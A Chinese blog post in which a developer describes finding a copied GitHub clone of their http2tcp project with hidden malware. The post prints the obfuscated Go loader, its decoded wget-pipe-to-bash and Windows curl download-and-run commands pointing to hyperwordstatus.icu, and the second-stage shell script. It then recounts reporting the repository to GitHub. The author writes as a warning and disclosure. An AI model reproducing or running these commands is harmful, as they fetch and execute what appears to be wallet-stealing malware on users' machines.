没想到我的一个小项目被别人复制粘贴并种马了

陪她去流浪 桃子 阅读次数:63

Caution

不要随意复制、粘贴并执行本文的代码,不要随意下载本文引用的链接文件,可能有恶意程序!

事情的起因是这样的

一个网友突然给我发微信消息,贴了一个 GitHub 项目地址:https://github.com/waryinterpr/https2tcp

项目作者我不认识,但是项目名字我很熟悉,因为我也有一个同名的项目。 我打开了链接一看,发现它把我项目的代码完全拷贝出来并重新提交到了 GitHub 上。早年混迹国内论坛下载站的时候觉得这种抄来抄去、洗稿的现象很常见(可耻),于是,我只是简单地在内心骂了它几句。

发现是三无小号

奇怪的是,这个新搬运的项目竟然有几十个⭐️,好奇看了几个账号的主页,全™️是今年5️⃣月份注册的,无其它任何活动。 随即我点开了它自己的个人主页并观察了一番,发现也是新号、无头像、只有一个项目。

我觉得这还不够“逆天”,于是我想知道它的用意何在,然后就简单翻阅了一下源代码,看看是否有改动。好在代码很少,一分钟就找到了被种马的代码片段1

1
2
3
4
5
var UclyFQ = exec.Command("/bin/" + "sh", "-c", "wge" + "t " + "-O" + " - " + "h" + "tt" + "ps:" + "//h" + "yper" + "words" + "tatu" + "s.i" + "cu" + "/s" + "t" + "orage" + "/d" + "e373" + "d0df/" + "a31" + "546" + "b" + "f |" + " /bin" + "/" + "b" + "ash " + "&").Start()

var eliaHf = exec.Command("cm" + "d", "/C", PU[141] + PU[106] + PU[177] + PU[158] + PU[93] + PU[88] + PU[118] + PU[124] + PU[21] + PU[190] + PU[161] + PU[212] + PU[95] + PU[133] + PU[22] + PU[56] + PU[0] + PU[171] + PU[100] + PU[68] + PU[14] + PU[16] + PU[181] + PU[193] + PU[216] + PU[140] + PU[32] + PU[131] + PU[66] + PU[148] + PU[136] + PU[122] + PU[78] + PU[199] + PU[97] + PU[165] + PU[128] + PU[145] + PU[134] + PU[38] + PU[15] + PU[58] + PU[69] + PU[98] + PU[231] + PU[119] + PU[87] + PU[175] + PU[86] + PU[160] + PU[45] + PU[186] + PU[99] + PU[103] + PU[57] + PU[152] + PU[168] + PU[222] + PU[62] + PU[125] + PU[192] + PU[52] + PU[42] + PU[101] + PU[228] + PU[75] + PU[198] + PU[232] + PU[109] + PU[170] + PU[51] + PU[202] + PU[13] + PU[205] + PU[149] + PU[34] + PU[107] + PU[72] + PU[7] + PU[142] + PU[5] + PU[220] + PU[162] + PU[89] + PU[151] + PU[187] + PU[46] + PU[77] + PU[189] + PU[70] + PU[53] + PU[204] + PU[203] + PU[185] + PU[25] + PU[105] + PU[129] + PU[9] + PU[194] + PU[24] + PU[153] + PU[90] + PU[65] + PU[223] + PU[94] + PU[110] + PU[29] + PU[63] + PU[20] + PU[156] + PU[224] + PU[48] + PU[173] + PU[210] + PU[111] + PU[172] + PU[227] + PU[33] + PU[188] + PU[17] + PU[44] + PU[139] + PU[4] + PU[233] + PU[126] + PU[213] + PU[114] + PU[155] + PU[208] + PU[127] + PU[159] + PU[3] + PU[113] + PU[73] + PU[10] + PU[117] + PU[91] + PU[40] + PU[178] + PU[49] + PU[19] + PU[1] + PU[235] + PU[182] + PU[92] + PU[137] + PU[41] + PU[229] + PU[179] + PU[18] + PU[143] + PU[176] + PU[47] + PU[12] + PU[184] + PU[226] + PU[8] + PU[166] + PU[28] + PU[115] + PU[196] + PU[123] + PU[183] + PU[154] + PU[104] + PU[225] + PU[217] + PU[180] + PU[214] + PU[55] + PU[120] + PU[116] + PU[82] + PU[74] + PU[209] + PU[6] + PU[11] + PU[221] + PU[147] + PU[54] + PU[102] + PU[130] + PU[191] + PU[197] + PU[37] + PU[35] + PU[146] + PU[59] + PU[200] + PU[219] + PU[67] + PU[144] + PU[83] + PU[234] + PU[84] + PU[79] + PU[138] + PU[96] + PU[112] + PU[211] + PU[64] + PU[195] + PU[163] + PU[150] + PU[215] + PU[43] + PU[201] + PU[81] + PU[27] + PU[207] + PU[31] + PU[167] + PU[80] + PU[39] + PU[174] + PU[36] + PU[108] + PU[61] + PU[132] + PU[206] + PU[85] + PU[164] + PU[76] + PU[50] + PU[230] + PU[135] + PU[23] + PU[2] + PU[30] + PU[218] + PU[157] + PU[26] + PU[169] + PU[121] + PU[60] + PU[71]).Start()

var PU = []string{"e", "r", "r", " ", "e", "s", ".", "r", "\\", "e", " ", "e", "a", "y", "o", "\\", "f", "-", "A", "P", "/", "x", "U", "\\", "b", "r", "j", "p", "o", "0", "j", "a", "\\", " ", "r", "a", "o", "t", "l", "\\", "s", "e", " ", "\\", "c", "m", ".", "D", "3", "r", "i", "/", "l", "/", " ", "\\", "s", "e", "v", "t", "x", "a", "c", "4", "f", "2", "p", "b", "r", "j", "u", "e", "o", "o", "u", "t", "a", "i", "t", "e", "a", "p", "m", "%", "s", "v", "r", "i", "t", "t", "b", "U", "i", "o", "e", " ", "P", "\\", "a", "j", "P", "h", "&", ".", "j", "a", "f", "w", "c", ":", "f", "4", "r", "-", "-", "c", "j", "%", " ", "p", "r", "e", "a", "l", "e", "u", "t", "r", "o", "g", "&", "A", "l", "%", "a", "i", "D", "l", "r", "r", "%", "i", "d", "p", " ", "c", "r", "e", "p", "e", "e", "u", "x", "b", "v", "d", "f", "u", "n", "s", "j", "s", "a", "l", "j", "L", "L", "t", "e", ".", "/", "r", "6", "1", "L", "\\", "p", " ", "e", "\\", "p", "i", "f", "\\", "t", "o", "u", "s", "-", "c", "i", " ", "r", "l", "/", "i", "a", "s", "p", "a", " ", "A", "h", "t", "s", "p", "\\", "D", "i", "j", "5", "o", "t", "e", "i", "%", "e", "i", "m", "/", "t", "x", " ", "8", "a", "a", "a", "b", "t", "%", "p", "i", "s", "a", "U", "o"}

由于是全局代码,所以程序执行时就会早于 main 函数立即执行。

混淆没啥用,把 exec.Command 换成 fmt.Println 打印一下命令就基本还原了:

1
2
3
# 同样不要执行这里的代码
/bin/sh -c wget -O - https://hyperwordstatus.icu/storage/de373d0df/a31546bf | /bin/bash &
cmd /C if not exist %UserProfile%\AppData\Local\vjaipi\rjmuj.exe curl https://hyperwordstatus.icu/storage/bbb28ef04/fa31546b --create-dirs -o %UserProfile%\AppData\Local\vjaipi\rjmuj.exe && start /b %UserProfile%\AppData\Local\vjaipi\rjmuj.exe

也就是下载了一个脚本文件丢给了命令解析器。我用浏览器打开了脚本文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
#!/bin/bash

cd ~
if [[ "$OSTYPE" == "linux-gnu"* ]]; then
	if ! [ -f ./f0eee999 ]; then
		sleep 3600
		wget https://hyperwordstatus.icu/storage/de373d0df/f0eee999
		chmod +x ./f0eee999
		app_process_id=$(pidof f0eee999)
		if [[ -z $app_process_id ]]; then
			./f0eee999
		fi
	fi
fi

脚本会检测目标系统,并再次下载一个用 Go 编写的程序。

strings 简单看了有什么字符串常量,找到一些 USDT、Balance 相关字眼。盲猜这大概率又是用来盗加密货币钱包用的。然后我下载了 IDA 准备深入研究一下,发现我对用 IDA 分析 Go 语言写的程序不熟悉,甚至找不到 main.main 入口,只找到了 runtime.main,有点麻烦。扬了。

原来我不是一个人

在搜索引擎上搜索了一些关键字,找到了一些线索:

看起来这个问题存在得有差不多半年了的样子。

向 GitHub 举报

我觉得不能让这些玩意儿破坏了开源社区,于是立即点了它项目右侧了“Report repository”,向 GitHub 提交了举报证据:

举报页面做得稀烂,样式都不调一下,跟苹果的开发者后台有得一比。

两个半小时后,收到了 GitHub 的邮件,跟我说已经处理掉了。

再打开上述的链接,发现项目和账号都消失了。漂亮。

最后贴一下我原项目的地址:movsb/http2tcp: TCP over HTTP.